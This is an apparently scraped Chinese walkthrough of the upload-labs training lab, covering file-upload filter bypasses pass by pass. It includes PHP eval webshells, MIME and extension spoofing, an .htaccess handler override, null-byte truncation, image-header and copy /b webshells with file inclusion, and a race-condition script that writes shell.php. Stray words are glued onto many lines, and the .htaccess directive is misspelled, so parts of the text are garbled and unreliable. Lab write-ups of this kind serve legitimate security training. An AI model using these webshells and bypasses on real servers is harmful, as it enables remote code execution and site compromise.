upload-labs writeup

其它的writeup

https://github.com/LandGrey/upload-labs-writeupjavascript

https://cloud.tencent.com/developer/article/1377897php

https://www.360zhijia.com/anquan/442566.htmlhtml

upload-labs安裝

下載地址:https://github.com/c0ny1/upload-labs前端

準備

  • 下載後將整個文件放入phpstudy目錄下便可java

  • 在項目的更目錄下新建文件夾uploadpython

  • 上傳的文件名不要是中文名,不然會出現上傳錯誤git

pass-1

操做

  • 準備一句話木馬爲<script language="pHp">@eval($_POST['pass'])</script>github

  • 上傳一句話木馬出現1.php彈出web

  • 查看javascript存在前端過濾,也能看到相應代碼

  • 直接刪除,上傳,上傳成功

  • 若是咱們知道上傳文件的完整路徑(這裏能夠直接查看圖片得到路徑),就能夠經過蟻劍或菜刀鏈接

##原理shell

  • 只是經過前端js來驗證文件類型,將js禁用便可繞過

pass-2

操做

  • 同一,把過濾函數刪除,用bp截斷,上傳php,將content-type值改成image/png,上傳成功

原理

  • 從源代碼能夠看到經過MIME-TYPE進行過濾,首先經過$_FILES['upload_file']['type']獲得上傳的MIME-TYPE,而後和image/png,image/jpeg進行比較

  • mime是多用途互聯網郵件擴展類型,用於設定某擴展名文件的打開方式,如.png在數據包的中的content-type爲image/png

  • $_FILES是一個全局變量數組,各個值的含義爲

$_FILES['myFile']['name'] 上傳文件的原名稱
$_FILES['myFile']['type'] 文件的 MIME 類型
$_FILES['myFile']['size'] 已上傳文件的大小,單位爲字節
$_FILES['myFile']['tmp_name'] 文件被上傳後在服務端儲存的臨時文件名,通常是系統默認。能夠在php.ini的upload_tmp_dir 指定
$_FILES['myFile']['error'] 和該文件上傳相關的錯誤代碼

pass-3

操做

將後綴名改成.php5,成功

原理

  • 從源代碼看,系統利用trim()刪除了文件兩側空格,利用deldot()刪除文件名末尾的點,利用strtolower()將文件名轉換爲小寫,利用str_ireplace()去除字符串::$DATA。

  • 可是隻是利用黑名單$deny_ext = array('.asp','.aspx','.php','.jsp');禁止上傳後綴爲php等的文件

  • 因此能夠利用apache的解析特性:它將.php3,.php5,.phtml等均可以解析爲php

pass-4

操做

  • 首先上傳文件.htaccess,內容爲stehandler application/x-httpd-php

  • 接着上傳將先前的文件1.php改成1.jpg,上傳成功,並可使用蟻劍鏈接

原理

  • 查看源碼,和三相似,但它的黑名單爲 $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");可是並無禁止.htaccess

  • .htaccess是apache服務器中的一個配置文件,能夠實現301重定向,自定義404錯誤頁面,改變文件擴展名,阻止或容許用戶訪問特定目錄或文件等

  • 該文件可使得目錄下的全部文件都以php執行,不過前提是服務器的httpd.conf文件中的allowoverride設置爲all

pass-5

操做

  • 採用大小寫繞過,上傳1.PHP

原理

  • 查看源碼,發現它的黑名單沒有過濾大小寫,或利用strtolower()將文件名轉換爲小寫,因此能夠利用大小寫繞過

pass-6

操做

  • 採用空格繞過,利用bp截斷,在文件名後添加空格

原理

  • 查看源碼,沒有對文件名的空格去除

  • windows中文件擴展名後的空格會作空處理,可是文件名後加空格使得原本的擴展名改變,繞過黑名單

pass-7

操做

  • 採用.繞過,利用bp截斷,在文件名後加.

原理

  • 查看源碼,沒有去除文件名後的點

  • windows下最後一個.會被自動剔除

pass-8

操做

  • 採用::$DATA,利用bp截斷,在文件名後加 ::$DATA

原理

  • windows下,若是上傳的文件名後綴爲php::$DATA會在服務器生成後綴爲Php的文件,內容和上傳內容相同,並被解析

pass-9

操做

  • 利用bp截斷,在文件名後加. .(點,空格,點)

原理

  • 查看源碼,首先利用trim去除末尾空格,又l利用deldot去除末尾點,又去除空格,因此組合點空格點,去除點去除空格,最後剩下點自動剔除

pass-10

操做

  • 利用bp截斷,將文件後綴改成.phphpp

原理

  • 查看源碼,其中出現了$file_name = str_ireplace($deny_ext,"", $file_name);這一函數,它將上傳文件與黑名單的後綴名相同的都用空替換,因此能夠雙寫繞過phphpp中的php被替換爲空後剩下php

pass-11

操做

  • 利用00截斷,首先將phpstudy的php版本切換到php5.3如下

  • 再將php.ini的magic_quotes_gpc改成off

  • 利用bp截斷,在保存文件路徑處添加11.php%00

原理

  • 截斷漏洞,在系統對文件名讀取時,若是遇到0x00會認爲讀取結束,如:1.php0x00.jpg在上傳時認爲是jpg,但在新建該文件文件時保存爲1.php 。但在php5.3以後的版本已經修復,而且受gpc,addslashes函數影響

  • 查看源碼發現,最後保存文件時是將get獲得的路徑與隨機數年月日和上傳文件名拼接到一塊兒,因此上傳文件路徑可控,咱們將get的路徑最後改成1.php0x00那麼拼接到後面的內容就會被丟棄,從而保存爲1.php

pass-12

操做

  • 利用00截斷,如今此處文件名後面添加一個空格,爲了便於尋找,而後打開hex,將此處的20改成00

原理

  • 與十一相同

pass-13

操做

方法一

  • 上傳圖片webshell,利用文件包含漏洞

  • 編寫文件13.jpg,內容爲GIF98A<?php phpinfo(); ?>上傳

  • 點擊圖片查看上傳後圖片的位置名字

  • 點擊此處,利用文件上傳漏洞

  • 可是我這出現了個問題

  • 因此我回到phpstudy把這個include.php拷貝到文件上傳的目錄upload,而後找到這個頁面

  • 咱們查看這個代碼,發現他是利用get獲得文件參數,而後利用include進行文件包含,因此url處構造?file=剛纔查看上傳的文件名

原理

  • 查看源碼,它是經過判斷文件的前兩個字節,來判斷是不是png等圖片,因此在上傳的php文件前加入GIF98A即會被判斷爲Gif文件

  • 文件包含:在php中使用include,include_once,require,require_once函數包含的文件不管文件名稱是什麼都會被當作php代碼執行

方法二

  • 利用圖片隱寫的方式,將木馬拼接到圖片圖片結束符FFD9以後,一般會忽略文件結束符以後的數據。

  • 能夠利用命令copy /b 1.jpg +1.php 2.jpg獲得,其中1.jpg爲載體文件,1.php爲包含木馬的文件,2.jpg爲獲得的文件

pass-14

  • 同上

pass-15

  • 須要打開配置php.ini中的php_exif模塊

  • 同上

pass-16

  • 在此處寫入了phpinfo()

  • 查看上傳處的圖片,該語句保持不變

pass-17

操做

  • 利用競爭條件上傳,上傳文件,文件內容爲
<?php
fputs(fopen('shell.php',w),'<?php @eval($_post["pass"]) ?>');
?>
  • 上傳文件的同時,利用腳本不斷訪問該文件
import requests 
while 1:    
    requests.get("http://192.168.89.130/upload-labs/upload/15.php")
  • 最後上傳目錄下會生成shell.php文件,內容爲<?php @eval($_post["pass"]) ?>

原理

  • 查看源碼,文件先經過move_uploaded_file進行保存,而後用in_array判斷文件是否爲圖片類型,若是是就用rename進行重命名,若是不是,則使用unlink刪除文件。因此能夠利用這個時間差,當文件保存後,就不斷訪問該文件,使得它又生成一個shell.php,以後即便上傳文件已經刪除,shell.php仍然存在。

pass-18

不知爲啥,這一關老是沒法成功

pass-19

  • 能夠將保存名稱後綴設置爲. .,同六

  • 能夠設置爲.

  • 能夠大寫繞過

pass-20

操做

  • 利用bp截斷,上傳20.jpg

  • 將post提交的數據包改成

原理

  • 將源碼複製到下面,利用註釋進行分析
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){//這一步是檢查上傳的文件是否爲規定的類型
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//若是經過post傳遞的參數save_name爲空,$file就爲上傳文件原本的名字的值,不然爲post傳遞的save_name的值
        if (!is_array($file)) {//由於咱們都是填寫了保存名稱,即用post傳遞了save_name的值,因此這裏判斷咱們填寫的保存名稱是否爲一個數組
            $file = explode('.', strtolower($file));//不是一個數組就利用.對文件名進行分割
        }

        $ext = end($file);//數組最後一個值即文件後綴名給$ext
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {//再一次進行判斷是否爲容許上傳的類型
            $msg = "禁止上傳該後綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];//將數組count($file)-1的值給了$file_name,最後拼接到數組第一個元素後後,reset()爲將讀取數組第一個元素
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失敗!";
            }
        }
    }
}else{
    $msg = "請選擇要上傳的文件!";
}
  • 經過以上分析,能夠知道,它用end()讀取最後數組最後一個值來進行過濾,又將$file[count($file) - 1]的值拼接到數組第一個元素後後,因此能夠上傳save_name爲一個數組,數組第一個元素爲*.php,第二個元素爲空,第三個元素爲jpg。此時利用jpg經過判斷,將空拼接到.php後文件仍爲.php

最後

相關文章
相關標籤/搜索